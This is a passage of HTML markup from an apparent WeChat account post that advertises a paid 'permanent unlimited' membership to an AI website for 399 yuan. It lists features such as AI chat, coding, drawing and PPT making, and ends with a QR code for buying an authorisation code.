100%;letter-spacing: 0.5px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="margin-right: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin-right: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-size: 15px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-pm-slice="0 0 []" style="margin-right: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;letter-spacing: 0.5px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin-right: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span mpa-font-style="mmbriibt1nta" style="font-size: 16px;letter-spacing: 0.5px;font-weight: bold;"><span leaf="">大家好，这里是</span><span leaf="">信安之路</span><span leaf="">！</span></span></span></span></span></strong></span></p><p data-pm-slice="0 0 []" style="font-style: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-variant-ligatures: normal;letter-spacing: 0.544px;orphans: 2;text-align: justify;widows: 2;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.6em;overflow-wrap: break-word !important;"><span mpa-font-style="mmbriibt478" style="clear: both;min-height: 1em;display: inline;vertical-align: baseline;font-size: 16px;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;widows: 2;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin-right: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-weight: normal;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;">最近有不少兄弟留言让我再开放一期【AI网站】的永久无限卡名额。</span></span></span></p><p style="font-style: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-variant-ligatures: normal;letter-spacing: 0.544px;orphans: 2;text-align: justify;widows: 2;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.6em;overflow-wrap: break-word !important;"><span mpa-font-style="mmbriibt13v5" style="font-size: 16px;"><span style="clear: both;min-height: 1em;text-align: justify;line-height: 1.6em;display: inline;vertical-align: baseline;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin-right: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-weight: normal;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;">老粉都知道，在去年8月之后，官方已经关闭了永久套餐的付款渠道，并且也取消了</span></span></span><span style="clear: both;min-height: 1em;text-align: justify;line-height: 1.6em;display: inline;vertical-align: baseline;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin-right: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-weight: normal;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;">【AI网站</span></span></span><span style="clear: both;min-height: 1em;text-align: justify;line-height: 1.6em;display: inline;vertical-align: baseline;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin-right: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-weight: normal;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;">】</span></span></span><span style="clear: both;min-height: 1em;text-align: justify;line-height: 1.6em;display: inline;vertical-align: baseline;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin-right: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-weight: normal;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;">永久套餐，这几个月以来购买都是399/年。</span></span></span></span></p><p style="font-style: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-variant-ligatures: normal;letter-spacing: 0.544px;orphans: 2;text-align: justify;widows: 2;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.6em;overflow-wrap: break-word !important;"><span mpa-font-style="mmbriibt1fly" style="font-size: 16px;"><span style="clear: both;min-height: 1em;text-align: justify;line-height: 1.6em;display: inline;vertical-align: baseline;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin-right: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-weight: normal;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;">但是公众号最近来了不少新朋友，每天都在后台催我，让我增加一些</span></span></span><span style="clear: both;min-height: 1em;text-align: justify;line-height: 1.6em;display: inline;vertical-align: baseline;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin-right: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-weight: normal;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;">【AI网站】永久套餐的名额，再加上今年2</span></span></span><span style="clear: both;min-height: 1em;text-align: justify;line-height: 1.6em;display: inline;vertical-align: baseline;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin-right: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-weight: normal;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;">月份</span></span></span><span style="clear: both;min-height: 1em;text-align: justify;line-height: 1.6em;display: inline;vertical-align: baseline;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin-right: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-weight: normal;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;">【AI网站】</span></span></span><span style="clear: both;min-height: 1em;text-align: justify;line-height: 1.6em;display: inline;vertical-align: baseline;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin-right: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-weight: normal;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;">进行重大更新，趁新功能上架</span></span></span></span><span style="clear: both;min-height: 1em;display: inline;vertical-align: baseline;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;widows: 2;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin-right: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-weight: normal;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span mpa-font-style="mmbriibt1mx" style="font-size: 16px;letter-spacing: 0.5px;"><span leaf="">之前，再给大家一个福利！</span></span></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-left: 16px;margin-right: 16px;"><span data-mpa-action-id="mmbr2yal1nxy" data-pm-slice="0 0 []" mpa-font-style="mmbr2yac1pbi" style="font-size: 16px;"><span leaf=""><span textstyle="" style="color: rgb(122, 79, 214);font-weight: bold;">临时增加20个永久无限量使用【AI网站】的名额！</span></span></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-left: 16px;margin-right: 16px;"><span data-mpa-action-id="mmbr2yal1nxy" data-pm-slice="0 0 []" mpa-font-style="mmbr2yac1pbi" style="font-size: 16px;"><span leaf=""><span textstyle="" style="color: rgb(122, 79, 214);font-weight: bold;">原价399/年，今天前20个名额可免费升级为399长期VIP！多一个名额都没有，真的尽力了！</span></span></span></p><p data-pm-slice="0 0 []" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;line-height: 1.5em;text-align: left;visibility: visible;"><span style="font-weight: bold;color: rgb(220, 155, 4);font-size: 16px;margin-bottom: 0px;visibility: visible;"><span style="visibility: visible;"><span leaf=""><span textstyle="" style="color: rgb(0, 0, 0);">现在仅需399即可使用以下所有功能：</span></span></span></span></p><p style="font-style: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-variant-ligatures: normal;letter-spacing: 0.544px;orphans: 2;text-align: justify;widows: 2;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.5em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="margin-top: 0px;margin-bottom: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin-top: 0px;margin-bottom: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgb(220, 155, 4);font-size: 16px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="visibility: visible;"><span leaf=""><span textstyle="" style="color: rgb(255, 41, 65);">☑ AI智能对话 </span></span></span></span></strong></p><p style="font-style: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-variant-ligatures: normal;letter-spacing: 0.544px;orphans: 2;text-align: justify;widows: 2;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.5em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="margin-top: 0px;margin-bottom: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin-top: 0px;margin-bottom: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgb(220, 155, 4);font-size: 16px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="visibility: visible;"><span leaf=""><span textstyle="" style="color: rgb(255, 41, 65);">☑ AI写代码 </span></span></span></span></strong></p><p style="font-style: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-variant-ligatures: normal;letter-spacing: 0.544px;orphans: 2;text-align: justify;widows: 2;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.5em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="margin-top: 0px;margin-bottom: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin-top: 0px;margin-bottom: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgb(220, 155, 4);font-size: 16px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="visibility: visible;"><span leaf=""><span textstyle="" style="color: rgb(255, 41, 65);">☑ AI绘画 </span></span></span></span></strong></p><p style="font-style: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-variant-ligatures: normal;letter-spacing: 0.544px;orphans: 2;text-align: justify;widows: 2;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.5em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="margin-top: 0px;margin-bottom: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin-top: 0px;margin-bottom: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgb(220, 155, 4);font-size: 16px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="visibility: visible;"><span leaf=""><span textstyle="" style="color: rgb(255, 41, 65);">☑ AI改图/换装 </span></span></span></span></strong></p><p style="font-style: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-variant-ligatures: normal;letter-spacing: 0.544px;orphans: 2;text-align: justify;widows: 2;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.5em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="margin-top: 0px;margin-bottom: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin-top: 0px;margin-bottom: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgb(220, 155, 4);font-size: 16px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="visibility: visible;"><span leaf=""><span textstyle="" style="color: rgb(255, 41, 65);">☑ AI做PPT </span></span></span></span></strong></p><p style="font-style: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-variant-ligatures: normal;letter-spacing: 0.544px;orphans: 2;text-align: justify;widows: 2;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.5em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="margin-top: 0px;margin-bottom: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin-top: 0px;margin-bottom: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgb(220, 155, 4);font-size: 16px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="visibility: visible;"><span leaf=""><span textstyle="" style="color: rgb(255, 41, 65);">☑ AI读PDF </span></span></span></span></strong></p><p style="font-style: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-variant-ligatures: normal;letter-spacing: 0.544px;orphans: 2;text-align: justify;widows: 2;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.5em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="margin-top: 0px;margin-bottom: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin-top: 0px;margin-bottom: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgb(220, 155, 4);font-size: 16px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="visibility: visible;"><span leaf=""><span textstyle="" style="color: rgb(255, 41, 65);">☑ AI思维导图 </span></span></span></span></strong></p><p style="font-style: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-variant-ligatures: normal;letter-spacing: 0.544px;orphans: 2;text-align: justify;widows: 2;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.5em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="margin-top: 0px;margin-bottom: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="margin-top: 0px;margin-bottom: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin-top: 0px;margin-bottom: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgb(220, 155, 4);font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="color: rgb(255, 41, 65);">☑ 持续更新——所有新功能上线后永久免费使用</span></span></span></strong></strong></p><p data-pm-slice="6 4 []" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-right: 16px;margin-left: 16px;letter-spacing: 0.578px;text-align: center;margin-bottom: 0px;line-height: 1.6em;visibility: visible;"><span style="color: rgb(220, 155, 4);font-size: 16px;visibility: visible;"><strong style="visibility: visible;"><span data-mpa-action-id="mgkzvcnt1cbq" data-pm-slice="0 0 []" mpa-font-style="mgkzvcnftga" style="font-size: 15px;visibility: visible;"><span style="visibility: visible;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;color: rgb(122, 79, 214);">▼长按扫码购买授权码</span></span></span></span></strong></span></p><p data-mpa-action-id="mn2yxhhtvok" data-pm-slice="0 0 []" nodeleaf="" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;padding: 0.5em;margin-bottom: 0px;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="png" data-w="400" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;width: 201px;height: 201px;" type="block" data-imgfileid="100004035" src="https://wechat2rss.xlab.app/img-proxy/?k=7f74741c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQWYz6XmYMgkwyeFuD9e2ZMeSBmabsSMYpF4ITvJknmeVbDxs8Z2DicyicPf4aJ4ibDetpFHPO2Ybk0dUtmYia52OJsLxUic2KdzHmvXicicP11ugYE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;line-height: 1.6em;text-align: center;visibility: 